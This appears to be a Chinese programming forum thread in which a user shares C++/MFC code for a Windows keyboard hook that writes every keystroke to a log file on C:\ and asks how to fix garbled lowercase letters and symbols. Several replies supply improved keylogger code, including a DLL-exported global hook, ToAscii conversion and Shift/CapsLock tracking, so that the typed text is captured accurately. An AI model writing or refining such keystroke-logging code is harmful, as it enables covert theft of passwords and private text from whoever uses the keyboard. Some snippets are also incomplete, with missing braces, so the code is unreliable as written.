void SaveLog(char *str) 

CFile fp; 
if(!fp.Open("C:\\kblog.txt", CFile::modeReadWrite)) 

fp.Open("C:\\kblog.txt", CFile::modeCreate|CFile::modeReadWrite); 

fp.SeekToEnd(); 
fp.Write(str,1); 
fp.Close(); 
}//键盘钩子消息处理过程
LRESULT CALLBACK KbProc(int nCode,WPARAM wParam,LPARAM lParam)
{
if(nCode == HC_ACTION)

if(lParam & 0xA0000000) 
{
switch(wParam)
{
//处理Tab键
case 0x09:
SaveLog("\t");
break;
//处理Enter键
case 0x0D:
SaveLog("\n");
break;

default:
char sz[1];
sz[0] = wParam;
SaveLog(sz);
break;
}

}
return CallNextHookEx(hHook, nCode, wParam, lParam );
}我编了一个键盘钩子的程序来捕获按键, wParam中存的是按键信息. 可是写到文件中的只有大写字母和数字其它的字母或符号都是双字节的乱码请问怎么解决?

解决方案 »

  1.   

    CString strll;
    strll.MakeLower();//全部处理成小写
      

  2.   

    LRESULT CALLBACK LauncherHook(int nCode,WPARAM wParam,LPARAM lParam) 

    LRESULT Result=CallNextHookEx(Hook,nCode,wParam,lParam); 
    if(nCode==HC_ACTION) 

    if(lParam & 0x80000000) 

    char c[1]; 
    c[0]=wParam; 
    SaveLog(c); 


    return Result; 

    虽然调用CallNextHookEx()是可选的,但调用此函数的习惯是很值得推荐的;否则的话,其他安装了钩子的应用程序将不会接收到钩子的通知而且还有可能产生不正确的结果,所以我们应尽量调用该函数除非绝对需要阻止其他程序获取通知。 
    …… 
    void SaveLog(char* c) 

    CTime tm=CTime::GetCurrentTime(); 
    CString name; 
    name.Format("c:\\Key_%d_%d.log",tm.GetMonth(),tm.GetDay()); 
    CFile file; 
    if(!file.Open(name,CFile::modeReadWrite)) 

    file.Open(name,CFile::modeCreate|CFile::modeReadWrite); 

    file.SeekToEnd(); 
    file.Write(c,1); 
    file.Close(); 

      

  3.   

    我还要大写的要正常的,  yifengling你的代码不是和我的一样么?
      

  4.   

    LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
    char ch;

    if (((DWORD)lParam & 0x40000000) && (nCode == HC_ACTION))
    {
    if ((wParam == VK_SPACE) || (wParam == VK_RETURN) || (wParam >= 0x2f)
    && (wParam <= 0x100))
    {
    file.Open("c:\\key.txt", CFile::modeReadWrite);
    if (wParam == VK_RETURN)
    {
    ch = '\n';
    file.SeekToEnd();
    file.Write(&ch,1);
    }
    else
    {


    BYTE ks[256];
    GetKeyboardState(ks);
    WORD w;
    UINT scan;
    scan = 0;
    ToAscii(wParam , scan, ks, &w, 0);
    ch = (char)w;
    file.SeekToEnd();
    file.Write(&ch,1);


    }
    file.Close();
    } }

    return CallNextHookEx(hHook, nCode, wParam ,lParam);
    }
      

  5.   

    我试过采用shift,caps lock等虚拟键的组合信息,可以实现。
      

  6.   

    粘给你算了,代码有点机械:
    LRESULT _declspec(dllexport) _stdcall HookFunc(int nCode,WPARAM wParam,LPARAM lParam)
    {
    if(((DWORD)lParam&0x40000000)&&(HC_ACTION==nCode))
    {
    if(wParam==VK_CAPITAL)
    {
    bCapsd=!bCapsd;
    }
    if(wParam==VK_SHIFT)
    {
    bShiftd=!bShiftd;
    }
    if((wParam>=48)&&(wParam<=57))
    {
    count+=1;
    UINT temp=wParam;
        strbuf+=(char)temp;
    }
    if((wParam>=65)&&(wParam<=90))
    {
    count+=1;
    if(bShiftd==bCapsd)
    {
    UINT temp=wParam;
    temp+=32;
        strbuf+=(char)temp;
        }
    else
    {
    UINT temp=wParam;
        strbuf+=(char)temp;
    }
    }
    if((wParam>=96)&&(wParam<=105))
    {
    count+=1;
    UINT temp=wParam;
    temp-=48;
    strbuf+=(char)temp;
    }
    }
    return ::CallNextHookEx(hHook,nCode,wParam,lParam);
    }